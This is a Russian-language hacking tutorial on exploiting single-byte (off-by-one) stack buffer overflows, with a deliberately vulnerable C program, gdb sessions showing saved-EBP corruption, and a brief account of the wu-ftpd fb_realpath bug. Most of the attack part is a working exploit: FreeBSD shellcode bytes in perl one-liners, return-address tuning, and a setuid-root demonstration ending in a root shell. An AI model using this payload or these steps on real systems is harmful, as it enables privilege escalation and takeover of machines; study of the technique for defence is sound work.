На главную

Суровый байт-одиночка

Однобайтовое переполнение буфера для взлома программ и сетевых демонов

Если ты следишь за багтрак-лентами, то наверняка сталкивался с упоминаниями об «однобайтовом переполнении буфера» в различных сетевых сервисах. На первый взгляд, может показаться, что это что-то несущественное: ну подумаешь, удастся перезаписать один байт памяти, ерунда какая. Однако интуитивное предположение, что ничего ценного из этого извлечь невозможно, - неверное. Сейчас я расскажу тебе, каким образом возможно наиболее эффективно использовать эту лазейку.

[начало]

Прежде всего следует разобраться с тем, откуда возникает такая проблема. В некоторых строковых функциях завершающий символ всегда размещается в конце строки и, при недостаточном знании программистом особенностей таких функций, может привести к размещению данного символа за концом буфера, выделенного для хранения строки. В этом случае происходит ситуация, при которой перезаписывается один байт памяти. Эта, на первый взгляд, незначительная проблема может привести к полному захвату контроля над исполняемой программой. Чтобы не быть голословным, рассмотрю конкретный пример. Предположим, что какой-то программист написал следующий код (только не спрашивай меня, для чего он это сделал :)):

Пример уязвимого кода

#include <stdio.h>

void cat4(char *);

int main(int argc, char **argv)

{

char a[100] = "";

strncpy(a,argv[1],99);

cat4(argv[2]);

}

void cat4(char * str)

{

char b[4] = "";

strncat(b,str,4);

}

На первый взгляд, все нормально и никаких ошибок в коде нет. Однако опытный человек сразу заметит: программист забыл о том, что функция strncat всегда добавляет символ NULL в конец, строки и, таким образом, при передаче этой функции строки из 4 символов, реально записано в память будет 5. То есть 4 байта строки + NULL. Этот символ NULL будет записан вне области памяти, выделенной для хранения строки b, и, соответственно, перезапишет находящиеся там данные. Чтобы определить, что именно будет перезаписываться, необходимо разобраться с тем, что происходит при вызове функции.

[что происходит?]

При вызове cat4 из main выполняется команда ассемблера call, при этом в стек проталкивается адрес возврата, это значение будет адресом команды, следующей за текущим eip. Далее за записью адреса возврата следует то, что называется прологом процедуры. На этом этапе в стек проталкивается текущее значение EBP, оно называется сохраненным указателем кадра и позднее применяется для восстановления исходного состояния EBP при выходе из функции. Далее текущее значение ESP копируется в EBP и устанавливает новый кадр стека. Если дизассемблировать приведенную выше программу, то будет видно, как это происходит:

0x080485f3 <main+95>: call 0x8048600 <cat4>; вызов функции

// пролог функции

0x08048600 <cat4+0>: push %ebp; сохранение ebp в стеке

0x08048601 <cat4+1>: mov %esp,%ebp

После этого в стеке отводится память для локальных переменных функции, в нашей программе это будет строка b. Так как в функции cat4 не выделяется место для каких-либо еще данных, то выделенное место в памяти для этой строки будет граничить с местом, где находится сохраненный адрес EBP и, соответственно, символ NULL, который вышел за границы памяти выделенной для переменной b будет перезаписывать один байт в этом адресе.

[работаем в gdb]

Процесс перезаписи байта можно наблюдать в отладчике:

$ gdb one_byte_over

# ставим бряк на вызов функции strncat

(gdb) b strncat

(gdb) r CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCC AAAA

Breakpoint 2, 0x280d2845 in strncat () from /lib/libc.so.5

# останавливаемся на вызове strncat

(gdb) x/4 0xbfbfeb00

0xbfbfeb00: 0x00000282 0x00000000 0xbfbfeba8 0x080485f8

Здесь 0x080485f8 - это адрес возврата функции, 0x00000000 - место, выделенное для хранения строки, 0xbfbfeba8 - EBP, сохраненный в стеке.

(gdb) n

0x0804861f in cat4 ()

(gdb) x/4 0xbfbfeb00

0xbfbfeb00: 0x00000282 0x41414141 0xbfbfeb00 0x080485f8

0x080485f8 - адрес возврата из функции (пока он нам неинтересен), 0x41414141 - наша строка, 0xbfbfeb00 - а здесь отчетливо виден символ NULL, который перезаписал часть адреса, сохраненного в стеке.

Итак, один байт в сохраненном указателе кадра стека был благополучно нами перезаписан на 00. Теперь самое время разобраться, что происходит при выходе из функции. При выходе из функции происходит выполнение двух инструкций:

0x08048622 <cat4+34>: leave

0x08048623 <cat4+35>: ret

[инструкция leave]

Инструкция leave эквивалентна последовательности

mov %ebp,%esp

pop ebp

Leave копирует регистр ebp в esp, после чего в регистр ebp значение извлекается из стека. Таким образом, стек после вызова leave должен возвращаться в такое же состояние, как и до пролога функции. Так как в регистр EBP значение извлекается из вершины стека, то есть восстанавливается из сохраненного указателя кадра стека, который мы уже изменили путем перезаписи одного байта, то и значение ebp будет изменено по отношению к ebp, который был при входе в функцию.

Далее инструкция ret помещает значение с вершины стека в регистр eip и продолжает выполнение программы. В отладчике можно увидеть, как при выходе из функции cat4 восстанавливается из стека значение ebp:

(gdb) n

0x080485f8 in main ()

(gdb) i r

ebp 0xbfbfeb00 0xbfbfeb00

Итак, как видно, измененный нами адрес благополучно попадает в регистр ebp.

Таким образом, функция main с нашей легкой руки будет работать с измененным указателем. Далее наша многострадальная функция main также завершает свою работу и действует по такому же принципу, то есть leave и ret.

Но так как при возврате в функцию main мы уже изменили значение ebp, то и работа со стеком в этой функции будет идти в соответствии с измененным значением и данные из стека будут читаться не по тому адресу, по которому предполагалось.

Смотрим, что находится по адресу, в котором мы изменили регистр ebp:

(gdb) x/4 0xbfbfeb00

0xbfbfeb00: 0x00000282 0x41414141 0xbfbfeb00 0x080485f8

Значит, при выходе функция прочитает 0x00000282 в ebp при выполнении leave.

После чего прочитает 0x41414141 в eip при выполнении ret и потом попытается прыгнуть на 0х41414141. Проверим это:

(gdb) ni

0x080485fc in main ()

(gdb) i r

ebp 0x282 0x282

0x282 - первая часть марлезонского балета, ebp восстановлен из стека.

Eip 0x80485fc 0x80485fc

(gdb) ni

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) i r

ebp 0x282 0x282

eip 0x41414141 0x41414141

Видно, что eip перезаписан, соответственно, получаем sigserv. Таким образом, имея возможность управлять данными, которые располагаются по адресам, на которые будет указывать измененный ebp, мы получаем возможность управлять выполнением программы и, захватив власть над eip, можем творить все что душе угодно.

[пишем шелл-код]

Например, попробуем перенаправить выполнение программы по адресам, в которых у нас хранится первый переданный приложению аргумент.

Так как переданные программе аргументы сохраняются в стеке, то, соответственно, от их длины будут зависеть адреса, по которым в дальнейшем будет выделено место под хранение строк. Поэтому длина первого аргумента в данном случае рассчитывается таким образом, чтобы в дальнейшем адрес EBP с одним обнуленным байтом указал на адрес, за которым будет хранится строка b, что видно из вышеприведенного лога отладчика. В нашем случае длина первого аргумента должна быть 132 символа. Также можно найти длину, при которой измененный ebp будет указывать на место, где размещается строка «a» или еще что-то. В общем, все зависит от ситуации; в нашем случае длина 132 и ebp указывает на строку «b».

Далее, так как мы собираемся изменять eip на адрес, по которому расположена строка «b», следует учесть, что в строку копируется только первые 99 символов из первого аргумента программы. Таким образом, шелл-код нам придется располагать именно в первых 99 символах.

Итак, приступим. Возьмем шелл-код под нашу систему (freebsd) и разместим его в первом аргументе программы:

`perl -e '

print "\x90"x70;

print "\x31\xc0\x50\xb0\x17\x50\xcd\x80\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80";

print "H"x33;

print " ";

print "AAAA";

'`

[структура]

Разберу структуру шелл-кода подробнее. Сначала идут 70 нопов (99 символов минус 29 для шелл-кода). Затем следует сам шеллкод, после этого размещаются 33 символа для того чтобы общая длина первого аргумента получилась равной 132 символам. Затем мы располагаем пробел и 4 символа «A», которые пока будут олицетворять собой адрес возврата.

Теперь запускаем отладчик с таким аргументом к программе и смотрим, что из этого получилось:

отладка шеллкода в gdb

$ gdb one_byte_over

(gdb) r `perl -e 'print "\x90"x70; print "\x31\xc0\x50\xb0\x17\x50\xcd\x80\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80";print "H"x33; print " "; print "AAAA";'`

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) x/100 0xbfbfeb00

0xbfbfeb00: 0x00000282 0x41414141 0xbfbfeb00 0x080485f8

0xbfbfeb10: 0xbfbfed84 0xbfbfecff 0x00000063 0x2804ef23

0xbfbfeb20: 0x08048358 0x068acf04 0x28070000 0xbfbfeb48

0xbfbfeb30: 0x00000001 0x90909090 0x90909090 0x90909090

0xbfbfeb40: 0x90909090 0x90909090 0x90909090 0x90909090

0xbfbfeb50: 0x90909090 0x90909090 0x90909090 0x90909090

0xbfbfeb60: 0x90909090 0x90909090 0x90909090 0x90909090

0xbfbfeb70: 0x90909090 0x90909090 0xc0319090 0x5017b050

0xbfbfeb80: 0x685080cd 0x68732f6e 0x622f2f68 0x50e38969

0xbfbfeb90: 0xb0505354 0x0080cd3b 0xbfbfebec 0x2804da09

0xbfbfeba0: 0x28070000 0x00000001 0x0804864c 0xbfbfebec

0xbfbfebb0: 0x080484e9 0x00000003 0xbfbfebf4 0xbfbfec04

0xbfbfebc0: 0x080484de 0x0804864c 0xbfbfebe8 0x00000000

0xbfbfebd0: 0x00000000 0x00000000 0x2804d9ee 0xbfbfebf0

0xbfbfebe0: 0xbfbfebe8 0x00000000 0x00000000 0x00000000

0xbfbfebf0: 0x00000003 0xbfbfecd8 0xbfbfecff 0xbfbfed84

0xbfbfec00: 0x00000000 0xbfbfed89 0xbfbfed9b 0xbfbfeda6

0xbfbfec10: 0xbfbfedc0 0xbfbfedd2 0xbfbfeddc 0xbfbfede8

0xbfbfec20: 0xbfbfedfd 0xbfbfee27 0xbfbfee3b 0xbfbfeea6

0xbfbfec30: 0xbfbfeebc 0xbfbfeec8 0xbfbfeee1 0xbfbfef15

0xbfbfec40: 0xbfbfef27 0xbfbfef30 0xbfbfef38 0xbfbfef48

0xbfbfec50: 0xbfbfef55 0xbfbfef62 0xbfbfef84 0x00000000

0xbfbfec60: 0x00000003 0x08048034 0x00000004 0x00000020

0xbfbfec70: 0x00000005 0x00000006 0x00000006 0x00001000

0xbfbfec80: 0x00000008 0x00000000 0x00000009 0x08048464

Таким образом, мы можем использовать адреса 0xbfbfeb34 - 0xbfbfeb74 в качестве адреса возврата. Проверим этот наш вывод на практике.

$ sudo chown root one_byte_over

$ sudo chmod +s one_byte_over

$ ./one_byte_over `perl -e 'print "\x90"x70; print "\x31\xc0\x50\xb0\x17\x50\xcd\x80\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80";print "H"x33; print " "; print "\x44\xeb\xbf\xbf";'`

Bus error

Адреса, по которым располагаются данные, будут отличаться при выполнении в отладчике и вне его из-за различий в переменных окружения. Так что для точного попадания на адрес, по которому хранится второй аргумент, нам придется изменить длину первого аргумента. Это не сложно и банальным перебором мы можем найти необходимую длину:

$ ./one_byte_over `perl -e 'print "\x90"x70; print "\x31\xc0\x50\xb0\x17\x50\xcd\x80\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80";print "H"x57; print " "; print "\x44\xeb\xbf\xbf";'`

# id

uid=0(root)

Вуаля, готово!

[бочка дегтя]

Однако в каждой ложке меда есть бочка дегтя. Для того, чтобы такая уязвимость была эксплуатируемой, описанным способом необходимо выполнение следующих условий:

1) Во-первых, число байт в буфере должно быть кратным четырем, иначе однобайтовое переполнение не изменит сохраненного значения ebp.

2) Во-вторых необходимо, чтобы атакующий имел возможность контролировать область памяти, на которую укажет измененный ebp.

И тем не менее, не смотря на очевидные ограничения, многие ошибки подобного плана в реальных приложениях подвержены эксплуатации, как, например, однобайтовое переполнение в mod_ssl в Apache и переполнение в wu-ftpd.

переполнение в wu-ftpd

Пару лет назад на свет появился занимательный эксплойт, использующий ошибку в wu-ftpd версий 2.5.0 <= 2.6.2. Однобайтовое переполнение в функции fb_realpath() привело к тому, что локальный или удаленный взломщик мог без проблем получить рутовые права на машине с установленным бажным демоном.

Злосчастное переполнение возникало, когда длина пути, к которому осуществляется обращение, равнялась MAXPATHLEN+1 символам. Переполнение отведенного буфера позволяло перезаписать информацию в стеке. Уязвимость - результат некорректного использования переменой rootd при вычислении длины конкатенированной строки:

/*

* Join the two strings together, ensuring that the right thing

* happens if the last component is empty, or the dirname is root.

*/

if (resolved[0] == '/' && resolved[1] == '\0')

rootd = 1;

else

rootd = 0;

if (*wbuf) {

if (strlen(resolved) + strlen(wbuf) + rootd + 1 > MAXPATHLEN) {

errno = ENAMETOOLONG;

goto err1;

}

if (rootd == 0)

(void) strcat(resolved, "/");

(void) strcat(resolved, wbuf);

}

В результате, при помощи любой FTP-команды возможно переполнить буфер и перехватить управление программой.

На некоторых системах использовать этот баг невозможно. Такой облом возникает в случае, когда размер отведенного под строку буфера, больше, чем MAXPATHLEN. Это верно для wu-ftpd, собранных на версиях линуксового ядра, в которых длина PATH_MAX и MAXPATHLEN жестко зафиксирована на 4095 байтах - например, 2.2.x и ранние 2.4.x. Поэтому использовать сплоит для этой дыры можно только против ftpd-демонов, собранных на 2.0.x или более поздних 2.4.x.

 

(Администратор не несет ответственности (Автор Денис Евгеньевич)